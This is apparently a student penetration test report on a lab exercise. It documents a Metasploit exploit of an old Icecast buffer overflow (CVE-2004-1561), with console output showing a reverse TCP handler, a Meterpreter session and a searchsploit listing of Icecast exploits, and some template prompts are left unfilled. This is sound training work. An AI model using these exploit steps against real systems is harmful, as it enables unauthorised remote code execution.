GoodSecurity Penetration Test Report

Chris.Duke@ HYPERLINK "mailto:YOURNAMEHERE@GoodSecurity.com"@GoodSecurity.com

DATE

4/1/21

• High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

- Findings

Machine IP:

Machine's IP address

192.168.0.20

Hostname:

Actual name of the machine

```
meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter >
```

Vulnerability Exploited:

The name of the script or Metasploit module used\

```
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.20:49720) at 2021-03-29 20:45:13 -070
0

meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > ls
Listing: C:\Program Files (x86)\Icecast2 Win32
==============================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100777/rwxrwxrwx  512000  fil   2004-01-08 07:26:45 -0800  Icecast2.exe
40777/rwxrwxrwx   0       dir   2020-04-15 11:49:53 -0700  admin
40777/rwxrwxrwx   0       dir   2020-04-15 11:49:53 -0700  doc
100666/rw-rw-rw-  3663    fil   2004-01-08 07:25:30 -0800  icecast.xml
100777/rwxrwxrwx  253952  fil   2004-01-08 07:27:09 -0800  icecast2console.exe
100666/rw-rw-rw-  872448  fil   2002-06-27 19:11:54 -0700  iconv.dll
100666/rw-rw-rw-  188477  fil   2003-04-12 21:29:12 -0700  libcurl.dll
100666/rw-rw-rw-  631296  fil   2002-07-10 20:09:00 -0700  libxml2.dll
100666/rw-rw-rw-  128000  fil   2002-07-10 20:11:54 -0700  libxslt.dll
40777/rwxrwxrwx   0       dir   2020-04-15 11:49:53 -0700  logs
100666/rw-rw-rw-  53299   fil   2002-03-23 07:48:14 -0800  pthreadVSE.dll
100666/rw-rw-rw-  2390    fil   2020-04-15 11:49:53 -0700  unins000.dat
100777/rwxrwxrwx  71588   fil   2003-04-14 02:00:00 -0700  unins000.exe
40777/rwxrwxrwx   0       dir   2020-04-15 11:49:53 -0700  web

meterpreter >
```

Icecast_header

Vulnerability Explanation:

Explain the vulnerability as best you can by explaining the attack type (i.e. is it a heap overflow attack, buffer overflow, file inclusion, etc.?) and briefly summarize what that attack is (Might need Google's help!)

```
Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with sy
ntax 'file:<path>'
  RPORT   8000             yes       The target port (TCP)

Payload information:
  Space: 2000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the header parsing of
  icecast versions 2.0.1 and earlier, discovered by Luigi Auriemma.
  Sending 32 HTTP headers will cause a write one past the end of a
  pointer array. On win32 this happens to overwrite the saved
  instruction pointer, and on linux (depending on compiler, etc) this
  seems to generally overwrite nothing crucial (read not exploitable).
  This exploit uses ExitThread(), this will leave icecast thinking the
  thread is still in use, and the thread counter won't be decremented.
  This means for each time your payload exits, the counter will be
  left incremented, and eventually the threadpool limit will be maxed.
  So you can multihit, but only till you fill the threadpool.

References:
  https://cvedetails.com/cve/CVE-2004-1561/
  OSVDB (10406)
  http://www.securityfocus.com/bid/11271
  http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html

msf5 exploit(windows/http/icecast_header) >
```

Info...a buffer overflow(read above)

Severity:

In your expert opinion, how severe is this vulnerability?

HIGH VULNERABILITY

Proof of Concept:

This is where you show the steps you took. Show the client how you exploited the software services. Please include screenshots!

```
root@kali:~# searchsploit Icecast
------------------------------------------------------------------ ----------------------------
 Exploit Title                                                    |  Path
------------------------------------------------------------------ ----------------------------
Icecast 1.1.x/1.3.x - Directory Traversal                         | multiple/remote/20972.txt
Icecast 1.1.x/1.3.x - Slash File Name Denial of Service           | multiple/dos/20973.txt
Icecast 1.3.7/1.3.8 - 'print_client()' Format String              | windows/remote/20582.c
Icecast 1.x - AVLLib Buffer Overflow                              | unix/remote/21363.c
Icecast 2.0.1 (Win32) - Remote Code Execution (1)                 | windows/remote/568.c
Icecast 2.0.1 (Win32) - Remote Code Execution (2)                 | windows/remote/573.c
Icecast 2.0.1 (Windows x86) - Header Overwrite (Metasploit)       | windows_x86/remote/16763.rb
Icecast 2.x - XSL Parser Multiple Vulnerabilities                 | multiple/remote/25238.txt
icecast server 1.3.12 - Directory Traversal Information Disclosure | linux/remote/21602.txt
------------------------------------------------------------------ ----------------------------
```

There should be a separate finding for each vulnerability found!

- ## Recommendations

What recommendations would you give to GoodCorp?

Throw the server in the trash and upgrade company infrastructure and data to Amazon Web Service along with using Crowdstrike for cybersecurity. While that might not be a financial possibility for the company, maybe a software patch or update(if available) to prevent such exploits from happening in the future is more inline with the company's budget.